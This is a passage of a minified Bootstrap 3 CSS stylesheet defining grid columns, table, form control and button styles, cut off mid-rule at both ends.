code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1170px}}.container-fluid{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{margin-right:-15px;margin-left:-15px}.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:auto}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:auto}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-0{margin-left:0}@media (min-width:768px){.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:auto}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:auto}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0}}@media (min-width:992px){.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:auto}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:auto}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0}}@media (min-width:1200px){.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:auto}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:auto}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0}}table{background-color:transparent}caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>td,.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>td,.table>thead:first-child>tr:first-child>th{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>tbody>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>thead>tr>th{padding:5px}.table-bordered{border:1px solid #ddd}.table-bordered>tbody>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border:1px solid #ddd}.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border-bottom-width:2px}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}table col[class*=col-]{position:static;display:table-column;float:none}table td[class*=col-],table th[class*=col-]{position:static;display:table-cell;float:none}.table>tbody>tr.active>td,.table>tbody>tr.active>th,.table>tbody>tr>td.active,.table>tbody>tr>th.active,.table>tfoot>tr.active>td,.table>tfoot>tr.active>th,.table>tfoot>tr>td.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>thead>tr.active>th,.table>thead>tr>td.active,.table>thead>tr>th.active{background-color:#f5f5f5}.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr.active:hover>th,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover{background-color:#e8e8e8}.table>tbody>tr.success>td,.table>tbody>tr.success>th,.table>tbody>tr>td.success,.table>tbody>tr>th.success,.table>tfoot>tr.success>td,.table>tfoot>tr.success>th,.table>tfoot>tr>td.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>thead>tr.success>th,.table>thead>tr>td.success,.table>thead>tr>th.success{background-color:#dff0d8}.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr.success:hover>th,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover{background-color:#d0e9c6}.table>tbody>tr.info>td,.table>tbody>tr.info>th,.table>tbody>tr>td.info,.table>tbody>tr>th.info,.table>tfoot>tr.info>td,.table>tfoot>tr.info>th,.table>tfoot>tr>td.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>thead>tr.info>th,.table>thead>tr>td.info,.table>thead>tr>th.info{background-color:#d9edf7}.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr.info:hover>th,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover{background-color:#c4e3f3}.table>tbody>tr.warning>td,.table>tbody>tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>thead>tr>td.warning,.table>thead>tr>th.warning{background-color:#fcf8e3}.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr.warning:hover>th,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover{background-color:#faf2cc}.table>tbody>tr.danger>td,.table>tbody>tr.danger>th,.table>tbody>tr>td.danger,.table>tbody>tr>th.danger,.table>tfoot>tr.danger>td,.table>tfoot>tr.danger>th,.table>tfoot>tr>td.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>thead>tr.danger>th,.table>thead>tr>td.danger,.table>thead>tr>th.danger{background-color:#f2dede}.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr.danger:hover>th,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover{background-color:#ebcccc}.table-responsive{min-height:.01%;overflow-x:auto}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>thead>tr>th{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type=search]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type=checkbox],input[type=radio]{margin:4px 0 0;margin-top:1px \9;line-height:normal}input[type=file]{display:block}input[type=range]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type=file]:focus,input[type=checkbox]:focus,input[type=radio]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:14px;line-height:1.42857143;color:#555}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eee;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto}input[type=search]{-webkit-appearance:none}@media screen and (-webkit-min-device-pixel-ratio:0){input[type=date],input[type=time],input[type=datetime-local],input[type=month]{line-height:34px}.input-group-sm input[type=date],.input-group-sm input[type=time],.input-group-sm input[type=datetime-local],.input-group-sm input[type=month],input[type=date].input-sm,input[type=time].input-sm,input[type=datetime-local].input-sm,input[type=month].input-sm{line-height:30px}.input-group-lg input[type=date],.input-group-lg input[type=time],.input-group-lg input[type=datetime-local],.input-group-lg input[type=month],input[type=date].input-lg,input[type=time].input-lg,input[type=datetime-local].input-lg,input[type=month].input-lg{line-height:46px}}.form-group{margin-bottom:15px}.checkbox,.radio{position:relative;display:block;margin-top:10px;margin-bottom:10px}.checkbox label,.radio label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:400;cursor:pointer}.checkbox input[type=checkbox],.checkbox-inline input[type=checkbox],.radio input[type=radio],.radio-inline input[type=radio]{position:absolute;margin-top:4px \9;margin-left:-20px}.checkbox+.checkbox,.radio+.radio{margin-top:-5px}.checkbox-inline,.radio-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400;vertical-align:middle;cursor:pointer}.checkbox-inline+.checkbox-inline,.radio-inline+.radio-inline{margin-top:0;margin-left:10px}fieldset[disabled] input[type=checkbox],fieldset[disabled] input[type=radio],input[type=checkbox].disabled,input[type=checkbox][disabled],input[type=radio].disabled,input[type=radio][disabled]{cursor:not-allowed}.checkbox-inline.disabled,.radio-inline.disabled,fieldset[disabled] .checkbox-inline,fieldset[disabled] .radio-inline{cursor:not-allowed}.checkbox.disabled label,.radio.disabled label,fieldset[disabled] .checkbox label,fieldset[disabled] .radio label{cursor:not-allowed}.form-control-static{min-height:34px;padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-right:0;padding-left:0}.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm{height:30px;line-height:30px}select[multiple].input-sm,textarea.input-sm{height:auto}.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.form-group-sm .form-control{height:30px;line-height:30px}select[multiple].form-group-sm .form-control,textarea.form-group-sm .form-control{height:auto}.form-group-sm .form-control-static{height:30px;min-height:32px;padding:5px 10px;font-size:12px;line-height:1.5}.input-lg{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-lg{height:46px;line-height:46px}select[multiple].input-lg,textarea.input-lg{height:auto}.form-group-lg .form-control{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.form-group-lg .form-control{height:46px;line-height:46px}select[multiple].form-group-lg .form-control,textarea.form-group-lg .form-control{height:auto}.form-group-lg .form-control-static{height:46px;min-height:38px;padding:10px 16px;font-size:18px;line-height:1.3333333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:34px;height:34px;line-height:34px;text-align:center;pointer-events:none}.input-lg+.form-control-feedback{width:46px;height:46px;line-height:46px}.input-sm+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .checkbox,.has-success .checkbox-inline,.has-success .control-label,.has-success .help-block,.has-success .radio,.has-success .radio-inline,.has-success.checkbox label,.has-success.checkbox-inline label,.has-success.radio label,.has-success.radio-inline label{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;background-color:#dff0d8;border-color:#3c763d}.has-success .form-control-feedback{color:#3c763d}.has-warning .checkbox,.has-warning .checkbox-inline,.has-warning .control-label,.has-warning .help-block,.has-warning .radio,.has-warning .radio-inline,.has-warning.checkbox label,.has-warning.checkbox-inline label,.has-warning.radio label,.has-warning.radio-inline label{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .checkbox,.has-error .checkbox-inline,.has-error .control-label,.has-error .help-block,.has-error .radio,.has-error .radio-inline,.has-error.checkbox label,.has-error.checkbox-inline label,.has-error.radio label,.has-error.radio-inline label{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;background-color:#f2dede;border-color:#a94442}.has-error .form-control-feedback{color:#a94442}.has-feedback label~.form-control-feedback{top:25px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .form-control,.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .checkbox,.form-inline .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .checkbox label,.form-inline .radio label{padding-left:0}.form-inline .checkbox input[type=checkbox],.form-inline .radio input[type=radio]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .checkbox,.form-horizontal .checkbox-inline,.form-horizontal .radio,.form-horizontal .radio-inline{padding-top:7px;margin-top:0;margin-bottom:0}.form-horizontal .checkbox,.form-horizontal .radio{min-height:27px}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.form-horizontal .control-label{padding-top:7px;margin-bottom:0;text-align:right}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:14.33px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px}}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.42857143;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-image:none;border:1px solid transparent;border-radius:4px}.btn.active.focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn:active:focus,.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.focus,.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{pointer-events:none;cursor:not-allowed;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none;opacity:.65}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default.active,.btn-default.focus,.btn-default:active,.btn-default:focus,.btn-default:hover,.open>.dropdown-toggle.btn-default{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{background-image:none}.btn-default.disabled,.btn-default.disabled.active,.btn-default.disabled.focus,.btn-default.disabled:active,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled],.btn-default[disabled].active,.btn-default[disabled].focus,.btn-default[disabled]:active,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default,fieldset[disabled] .btn-default.active,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:active,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#337ab7;border-color:#2e6da4}.btn-primary.active,.btn-primary.focus,.btn-primary:active,.btn-primary:focus,.btn-primary:hover,.open>.dropdown-toggle.btn-primary{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled,.btn-primary.disabled.active,.btn-primary.disabled.focus,.btn-primary.disabled:active,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled],.btn-primary[disabled].active,.btn-primary[disabled].focus,.btn-primary[disabled]:active,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-primary.active,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:active,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#337ab7;border-color:#2e6da4}.btn-primary .badge{color:#337ab7;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success.active,.btn-success.focus,.btn-success:active,.btn-success:focus,.btn-success:hover,.open>.dropdown-toggle.btn-success{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{background-image:none}.btn-success.disabled,.btn-success.disabled.active,.btn-success.disabled.focus,.btn-success.disabled:active,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled],.btn-success[disabled].active,.btn-success[disabled].focus,.btn-success[disabled]:active,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success,fieldset[disabled] .btn-success.active,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:active,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info.active,.btn-info.focus,.btn-info:active,.btn-info:focus,.btn-info:hover,.open>.dropdown-toggle.btn-info{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{background-image:none}.btn-info.disabled,.btn-info.disabled.active,.btn-info.disabled.focus,.btn-info.disabled:active,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled],.btn-info[disabled].active,.btn-info[disabled].focus,.btn-info[disabled]:active,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info,fieldset[disabled] .btn-info.active,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:active,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning.active,.btn-warning.focus,.btn-warning:active,.btn-warning:focus,.btn-warning:hover,.open>.dropdown-toggle.btn-warning{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled,.btn-warning.disabled.active,.btn-warning.disabled.focus,.btn-warning.disabled:active,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled],.btn-warning[disabled].active,.btn-warning[disabled].focus,.btn-warning[disabled]:active,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning,fieldset[disabled] .btn-warning.active,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:active,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#f0ad4e;border-color:#eea236}.btn-warning 